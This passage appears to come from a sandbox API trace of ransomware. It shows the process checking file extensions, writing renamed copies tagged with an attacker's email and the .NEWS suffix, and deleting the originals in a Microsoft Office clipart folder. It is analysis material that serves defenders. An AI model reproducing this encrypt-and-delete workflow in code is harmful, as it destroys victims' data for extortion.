Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.511] lstrlenW (lpString=".doc") returned 4 [0172.511] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.511] lstrlenW (lpString=".docx") returned 5 [0172.512] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0172.512] lstrlenW (lpString=".pdf") returned 4 [0172.512] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString=".xls") returned 4 [0172.512] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString=".xlsx") returned 5 [0172.512] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0172.512] lstrlenW (lpString=".ppt") returned 4 [0172.512] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.512] lstrlenW (lpString=".zip") returned 4 [0172.512] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString=".rar") returned 4 [0172.512] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString=".bz2") returned 4 [0172.512] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString=".7z") returned 3 [0172.512] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.512] lstrlenW (lpString=".dbf") returned 4 [0172.512] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.512] lstrlenW (lpString=".1cd") returned 4 [0172.512] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.513] lstrlenW (lpString=".jpg") returned 4 [0172.513] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.513] lstrlenW (lpString=".doc") returned 4 [0172.513] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString=".docx") returned 5 [0172.513] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0172.513] lstrlenW (lpString=".pdf") returned 4 [0172.513] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString=".xls") returned 4 [0172.513] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString=".xlsx") returned 5 [0172.513] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0172.513] lstrlenW (lpString=".ppt") returned 4 [0172.513] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.513] lstrlenW (lpString=".zip") returned 4 [0172.513] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString=".rar") returned 4 [0172.513] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.513] lstrlenW (lpString=".bz2") returned 4 [0172.514] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.514] lstrlenW (lpString=".7z") returned 3 [0172.514] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.514] lstrlenW (lpString=".dbf") returned 4 [0172.514] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.514] lstrlenW (lpString=".1cd") returned 4 [0172.514] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0172.514] lstrlenW (lpString=".jpg") returned 4 [0172.514] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.514] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0172.514] lstrlenW (lpString="J0101859.BMP") returned 12 [0172.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.515] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=31968) returned 1 [0172.515] CloseHandle (hObject=0x54c) returned 1 [0172.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0172.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.516] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.516] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.517] GetLastError () returned 0x0 [0172.517] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0172.529] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.529] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.529] SetEndOfFile (hFile=0x4dc) returned 1 [0172.529] CloseHandle (hObject=0x4dc) returned 1 [0172.529] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.529] SetEndOfFile (hFile=0x54c) returned 1 [0172.533] CloseHandle (hObject=0x54c) returned 1 [0172.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0172.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.959] lstrlenW (lpString=".doc") returned 4 [0172.959] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.959] lstrlenW (lpString=".docx") returned 5 [0172.959] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0172.959] lstrlenW (lpString=".pdf") returned 4 [0172.959] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.959] lstrlenW (lpString=".xls") returned 4 [0172.959] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.959] lstrlenW (lpString=".xlsx") returned 5 [0172.959] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0172.959] lstrlenW (lpString=".ppt") returned 4 [0172.959] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.959] lstrlenW (lpString=".zip") returned 4 [0172.959] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString=".rar") returned 4 [0172.960] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString=".bz2") returned 4 [0172.960] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString=".7z") returned 3 [0172.960] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.960] lstrlenW (lpString=".dbf") returned 4 [0172.960] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.960] lstrlenW (lpString=".1cd") returned 4 [0172.960] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.960] lstrlenW (lpString=".jpg") returned 4 [0172.960] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.960] lstrlenW (lpString=".doc") returned 4 [0172.960] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.960] lstrlenW (lpString=".docx") returned 5 [0172.960] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0172.961] lstrlenW (lpString=".pdf") returned 4 [0172.961] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString=".xls") returned 4 [0172.961] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString=".xlsx") returned 5 [0172.961] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0172.961] lstrlenW (lpString=".ppt") returned 4 [0172.961] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.961] lstrlenW (lpString=".zip") returned 4 [0172.961] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString=".rar") returned 4 [0172.961] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString=".bz2") returned 4 [0172.961] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString=".7z") returned 3 [0172.961] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.961] lstrlenW (lpString=".dbf") returned 4 [0172.961] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.961] lstrlenW (lpString=".1cd") returned 4 [0172.961] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0172.962] lstrlenW (lpString=".jpg") returned 4 [0172.962] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.962] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0172.962] lstrlenW (lpString="J0101862.BMP") returned 12 [0172.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.963] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=32184) returned 1 [0172.963] CloseHandle (hObject=0x4dc) returned 1 [0172.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0172.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.964] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.964] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0172.966] GetLastError () returned 0x0 [0172.966] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0172.970] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0172.973] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.973] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.973] SetEndOfFile (hFile=0x514) returned 1 [0172.973] CloseHandle (hObject=0x514) returned 1 [0172.973] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.973] SetEndOfFile (hFile=0x4dc) returned 1 [0172.980] CloseHandle (hObject=0x4dc) returned 1 [0172.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0172.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.982] lstrlenW (lpString=".doc") returned 4 [0172.982] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.982] lstrlenW (lpString=".docx") returned 5 [0172.982] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0172.982] lstrlenW (lpString=".pdf") returned 4 [0172.982] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.982] lstrlenW (lpString=".xls") returned 4 [0172.983] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString=".xlsx") returned 5 [0172.983] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0172.983] lstrlenW (lpString=".ppt") returned 4 [0172.983] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.983] lstrlenW (lpString=".zip") returned 4 [0172.983] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString=".rar") returned 4 [0172.983] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString=".bz2") returned 4 [0172.983] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString=".7z") returned 3 [0172.983] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.983] lstrlenW (lpString=".dbf") returned 4 [0172.983] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.983] lstrlenW (lpString=".1cd") returned 4 [0172.983] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.984] lstrlenW (lpString=".jpg") returned 4 [0172.984] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.984] lstrlenW (lpString=".doc") returned 4 [0172.984] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString=".docx") returned 5 [0172.984] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0172.984] lstrlenW (lpString=".pdf") returned 4 [0172.984] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString=".xls") returned 4 [0172.984] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString=".xlsx") returned 5 [0172.984] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0172.984] lstrlenW (lpString=".ppt") returned 4 [0172.984] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.984] lstrlenW (lpString=".zip") returned 4 [0172.984] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString=".rar") returned 4 [0172.984] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.984] lstrlenW (lpString=".bz2") returned 4 [0172.985] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.985] lstrlenW (lpString=".7z") returned 3 [0172.985] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.985] lstrlenW (lpString=".dbf") returned 4 [0172.985] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.985] lstrlenW (lpString=".1cd") returned 4 [0172.985] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0172.985] lstrlenW (lpString=".jpg") returned 4 [0172.985] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.985] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0172.985] lstrlenW (lpString="J0101863.BMP") returned 12 [0172.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.986] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=32184) returned 1 [0172.986] CloseHandle (hObject=0x4dc) returned 1 [0172.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0172.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.988] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.988] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0172.989] GetLastError () returned 0x0 [0172.989] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0172.992] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0172.994] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.994] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.994] SetEndOfFile (hFile=0x514) returned 1 [0172.995] CloseHandle (hObject=0x514) returned 1 [0172.995] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.995] SetEndOfFile (hFile=0x4dc) returned 1 [0173.000] CloseHandle (hObject=0x4dc) returned 1 [0173.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0173.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.001] lstrlenW (lpString=".doc") returned 4 [0173.001] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.001] lstrlenW (lpString=".docx") returned 5 [0173.001] lstrcmpiW (lpString1=".docx", 